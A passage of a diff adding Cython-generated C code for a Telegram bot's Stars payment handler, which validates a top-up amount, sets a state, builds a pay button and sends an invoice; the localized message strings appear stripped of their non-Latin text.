__pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_21 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; + __Pyx_XGOTREF(__pyx_t_21); + __pyx_t_22 = __pyx_cur_scope->__pyx_t_8; + __pyx_cur_scope->__pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_t_22); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 122, __pyx_L32_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 122, __pyx_L32_error) + } + } + + /* "handlers/payments/stars_pay.py":121 + * amount = int(amount_str) + * except ValueError: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + } + __Pyx_XDECREF(__pyx_t_22); __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_21); __pyx_t_21 = 0; + __Pyx_XDECREF(__pyx_t_20); __pyx_t_20 = 0; + goto __pyx_L39_try_end; + __pyx_L32_error:; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/stars_pay.py":123 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_15) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_11, &__pyx_t_14, &__pyx_t_13) < 0) __PYX_ERR(0, 123, __pyx_L34_except_error) + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_14); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_INCREF(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_v_e = __pyx_t_14; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":124 + * await callback_query.message.delete() + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * + * await callback_query.message.answer(" .") + */ + __Pyx_GetModuleGlobalName(__pyx_t_23, __pyx_n_s_logger); if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_23); + __pyx_t_24 = __Pyx_PyObject_GetAttrStr(__pyx_t_23, __pyx_n_s_error); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_24); + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + __pyx_t_23 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_23); + __pyx_t_25 = __Pyx_PyUnicode_Concat(__pyx_kp_u__10, __pyx_t_23); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_25); + __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; + __pyx_t_23 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_24))) { + __pyx_t_23 = PyMethod_GET_SELF(__pyx_t_24); + if (likely(__pyx_t_23)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_24); + __Pyx_INCREF(__pyx_t_23); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_24, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_23, __pyx_t_25}; + __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_24, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 124, __pyx_L46_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_24); __pyx_t_24 = 0; + } + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + } + + /* "handlers/payments/stars_pay.py":123 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L47; + } + __pyx_L46_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; __pyx_t_29 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_23); __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_24); __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_27, &__pyx_t_28, &__pyx_t_29); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_19, &__pyx_t_18, &__pyx_t_17) < 0)) __Pyx_ErrFetch(&__pyx_t_19, &__pyx_t_18, &__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_27); + __Pyx_XGOTREF(__pyx_t_28); + __Pyx_XGOTREF(__pyx_t_29); + __pyx_t_15 = __pyx_lineno; __pyx_t_10 = __pyx_clineno; __pyx_t_26 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_XGIVEREF(__pyx_t_28); + __Pyx_XGIVEREF(__pyx_t_29); + __Pyx_ExceptionReset(__pyx_t_27, __pyx_t_28, __pyx_t_29); + } + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_ErrRestore(__pyx_t_19, __pyx_t_18, __pyx_t_17); + __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; __pyx_t_29 = 0; + __pyx_lineno = __pyx_t_15; __pyx_clineno = __pyx_t_10; __pyx_filename = __pyx_t_26; + goto __pyx_L34_except_error; + } + __pyx_L47:; + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + goto __pyx_L33_exception_handled; + } + goto __pyx_L34_except_error; + + /* "handlers/payments/stars_pay.py":121 + * amount = int(amount_str) + * except ValueError: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + __pyx_L34_except_error:; + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_21, __pyx_t_20); + goto __pyx_L26_except_error; + __pyx_L33_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_21, __pyx_t_20); + __pyx_L39_try_end:; + } + + /* "handlers/payments/stars_pay.py":126 + * logger.error(f" : {e}") + * + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 126, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 126, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_kp_u__12}; + __pyx_t_13 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 126, __pyx_L26_except_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_13); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L52_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_5 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_8); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 126, __pyx_L26_except_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 126, __pyx_L26_except_error) + } + } + + /* "handlers/payments/stars_pay.py":127 + * + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + goto __pyx_L27_except_return; + } + goto __pyx_L26_except_error; + + /* "handlers/payments/stars_pay.py":118 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L26_except_error:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_6, __pyx_t_5); + goto __pyx_L1_error; + __pyx_L27_except_return:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_6, __pyx_t_5); + goto __pyx_L0; + __pyx_L29_try_end:; + } + + /* "handlers/payments/stars_pay.py":129 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) + * + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L53_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 129, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 129, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":130 + * + * await state.update_data(amount=amount) + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) # <<<<<<<<<<<<<< + * + * try: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_13}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L54_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 130, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 130, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":132 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) + * + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + { + __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":133 + * + * try: + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text="", pay=True), + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_13 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":134 + * try: + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text="", pay=True), + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":135 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text="", pay=True), # <<<<<<<<<<<<<< + * ) + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 135, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 135, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_n_u__13) < 0) __PYX_ERR(0, 135, __pyx_L55_error) + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_pay, Py_True) < 0) __PYX_ERR(0, 135, __pyx_L55_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 135, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_11}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":137 + * InlineKeyboardButton(text="", pay=True), + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text=" ", callback_data="pay"), + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":138 + * ) + * builder.row( + * InlineKeyboardButton(text=" ", callback_data="pay"), # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 138, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 138, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 138, __pyx_L55_error) + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 138, __pyx_L55_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 138, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_13}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":141 + * ) + * + * await callback_query.message.answer_invoice( # <<<<<<<<<<<<<< + * title=f" {amount} .", + * description=f" {amount} .", + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/stars_pay.py":142 + * + * await callback_query.message.answer_invoice( + * title=f" {amount} .", # <<<<<<<<<<<<<< + * description=f" {amount} .", + * prices=[LabeledPrice(label="XTR", amount=int(amount // RUB_TO_XTR))], + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_13 = PyTuple_New(3); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_3 = 0; + __pyx_t_30 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_30 = (65535 > __pyx_t_30) ? 65535 : __pyx_t_30; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_kp_u__14); + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_30 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) > __pyx_t_30) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) : __pyx_t_30; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_8); + PyTuple_SET_ITEM(__pyx_t_13, 1, __pyx_t_8); + __pyx_t_8 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_30 = (65535 > __pyx_t_30) ? 65535 : __pyx_t_30; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_13, 2, __pyx_kp_u__15); + __pyx_t_8 = __Pyx_PyUnicode_Join(__pyx_t_13, 3, __pyx_t_3, __pyx_t_30); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_title, __pyx_t_8) < 0) __PYX_ERR(0, 142, __pyx_L55_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":143 + * await callback_query.message.answer_invoice( + * title=f" {amount} 